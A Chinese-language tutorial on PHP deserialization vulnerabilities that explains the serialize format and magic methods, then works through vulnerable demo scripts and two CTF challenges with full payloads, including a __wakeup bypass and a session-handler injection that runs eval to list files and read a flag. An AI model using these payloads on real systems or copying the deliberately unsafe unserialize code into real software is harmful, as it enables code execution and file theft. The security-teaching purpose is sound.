前言
之前刚接触到反序列化概念的时候,写过一篇。现在回头看的时候,发现写的太low了。所以再重写一篇。如果以后不满意我就再重写。
序列化
认识反序列化之前,先说一下序列化,通俗地讲就是把一个对象变成可以传输的字符串。
序列化代码
<?php
class Demo{
public $name = "author";
protected $sex = "sex";
private $age = 18;
}
$example = new Demo();
echo serialize($example);
?>
结果为
O:4:"Demo":3:{s:4:"name";s:6:"author";s:6:"*sex";s:3:"sex";s:9:"Demoage";i:18;}
serialize() 函数产生一个可存储的字符串,经常用于序列化操作。
O 表示Object对象,4代表4个字符,即Demo
3 表示三个变量,即name、sex、age
s 表示字符串string,i 表示整型int
4、6、3 、9代表变量名的字符长度
protected 属性被序列化的时候属性值会变成%00*%00属性名
即s:6:"*sex",两个%00也就是空白符,一个%00长度为一,所以序列化后该属性长度为6
private 属性被序列化的时候属性值会变成%00类名%00属性名
即s:9:"Demoage",7个字符长度加上两个%00为9
反序列化
反序列化就是把那串可以传输的字符串再变回对象。
使用unserialize()函数对字符串进行反序列化为对象。
<?php
class Demo{
public $name = "author";
public $sex = "sex";
public $age = 18;
}
$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>
输出结果为
object(Demo)#2 (3) { ["name"]=> string(7) "cseroad" ["sex"]=> string(3) "man" ["age"]=> int(18) }
魔术方法
php 有很多魔术方法,魔术函数以__开头,在某些条件下自动触发。
__construct() 构造函数,一个对象创建时被调用
__destruct() 析构函数,当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 先检测是否存在该方法,如果存在先调用再执行序列化操作
__wakeup() 先检测是否存在该方法,如果存在先调用再执行反序列化操作
以__wakeup()为例
<?php
class Demo{
public $name = "author";
public $sex = "sex";
public $age = 18;
public function __wakeup(){
$this->name = "vxeroad";
}
}
$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>
结果输出
object(Demo)#2 (3) { ["name"]=> string(7) "vxeroad" ["sex"]=> string(3) "man" ["age"]=> int(18) }
顺便说一句
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
漏洞产生
如果服务器能够接收序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法,就很容易造成严重的漏洞。
比如这个demo.php
<?php
class A{
var $name = "demo";
function __destruct(){
echo $this->name;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
//var_dump($a_unser);
?>
payload为
test=O:1:"A":1:{s:4:"name";s:25:"<script>alert(1)</script>";}
test参数没有经过任何处理,只需要将序列化的字符串设置name,就可以覆盖name属性。
设置字符串为XSS代码,反序列化后即可触发。
再比如这个
<?php
class A{
var $name = "demo";
function __destruct(){
$fp=fopen(dirname(__FILE__)."/save.php","w");
fputs($fp,$this->name);
fclose($fp);
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
payload 为
test=O:1:"A":1:{s:4:"name";s:18:"<?php phpinfo();?>";}
即可将phpinfo写进save.php文件。
CTF实例
了解了反序列化的漏洞原理,我们看道CTF题目。
极客大挑战 2019-web 题目
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
看到index.php 接收select参数,传入序列化的字符串。进行反序列化操作。
看到class.php文件使用了三个魔术方法。__construct 构造函数、__wakeup 反序列化时先调用、__destruct对象销毁时调用。看到username必须为admin时,才可以获取flag。
这里的变量username、password 均是private 属性。应是s:14:"Nameusername"
,设置username为admin。
payload为
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";}
接着填写password,"Namepassword";i:100,注意是int类型
payload为
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
执行后
既没有获取到username,也没有password。
是因为private属性。之前我们说过private被序列化的时候属性值会变成%00类名%00属性名。只不过是不可见字符。
所以我们payload自然也需要加上%00字符。
payload为
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
程序走了else分支,因为反序列化操作时调用了__wakeup,username被赋值为了guest,不是admin。那么有什么办法跳过__wakeup吗?当然就是上面说过的:当序列化字符串表示对象属性个数的值大于真实个数的属性时可跳过。
所以最终payload为
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这道题目的思路就是跳过__wakeup()函数。
Session 反序列化
什么是 Sesssion ?
Session 被称为“会话控制”。主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期
当开始一个Session时,php会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的Cookie、Get、Post中不存在session id,php就会自动调用php_session_create_id函数创建一个新的会话,并且在response中通过set-cookie头部发送给客户端保存,例如登录网页时不存在session id,于是就使用了set-cookie头。
php.ini 配置
session.save_path="" 设置session的存储位置
session.save_handler="" 设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler 定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled 启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup 读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
phpstudy的phpinfo 配置
session.save_path = "C:\phpStudy\tmp\tmp" 所有session文件存储在tmp目录下
session.save_handler = files 表明session是以文件的方式来进行存储的
session.auto_start = off 表明默认不启动session
session.serialize_handler = php 表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on 表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on 表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)
session的存储机制
php session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储。即在C:\phpStudy\tmp\tmp 目录下。
session.serialize_handler 定义的引擎有三种
处理器名称------存储格式
php ------ 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary ------ 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化后的值
php_serialize(php>5.5.4) ------ 经过serialize()函数序列化处理的数组
下面我们通过简单的代码看一下
php 处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
赋值为cseroad
session目录存储为
session|s:7:"cseroad";
session键名+|+序列化值
php_binary处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session目录存储为
session 字符长度7对应的ASCII码+键名session+序列化值
php_serialize 处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session 目录存储为
a:1:{s:7:"session";s:7:"cseroad";}
$_SESSION变量序列化后的值
Session 的反序列化漏洞
漏洞产生就是不同的处理器混合使用。在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, | 会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
比如session.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
hello.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class A{
public $name = "cseroad";
public $age;
function __wakeup(){
echo "hello ".$this->name;
}
}
$str = new A();
echo serialize($str);
?>
在首次访问hello.php时,输出
O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}
此时session目录为空值
如果此时访问session.php,并赋值session为 | O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}
再次查看session 目录。这里的|就是分隔符。
有了该session值,再次访问hello.php文件时,从session值里面取出name值。即可输出hello cseroad
CTF 实例
题目:http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
phpinfo查看session.serialize_handler值,存在session 反序列化
如何控制session值呢?
当上传文件时,同时POST文件与session.upload_progress.name同名变量时,当php检测到这种POST请求时,它会在$_SESSION中添加一组数据。那就可以通过Session Upload Progress来设置session。
编写上传HTML
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
那么上传的filename写什么呢?和之前的思路类似,填写分隔符加序列化的字符串。
那字符串又写什么呢?
编写脚本,设置处理器为php_serialize
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>
设置payload为
print_r(scandir(dirname(__FILE__)));
#scandir 函数列出目录中的文件和目录
#dirname 函数返回路径中的目录部分
得到
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为防转义,在每个双引号前加上\
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
这就是filename值。
注意添加|
可以看到存在flag文件。
接着使用file_get_contents函数读取该路径下flag文件。当前目录路径phpinfo可看到。
payload 修改为
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
获取序列化字符,并添加反斜杠
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
读取flag
这道题目的思路就是自己编写php_serialize 处理器,填写读取读取文件的payload。并输出序列化后的字符串,再利用文件上传通过filename设置session,读取flag。
总结
有些难懂,弯弯绕绕需要多看,多理解。
参考资料
最通俗易懂的PHP反序列化原理分析
PHP反序列化漏洞入门
原理+实践掌握(PHP反序列化和Session反序列化
一文让PHP反序列化从入门到进阶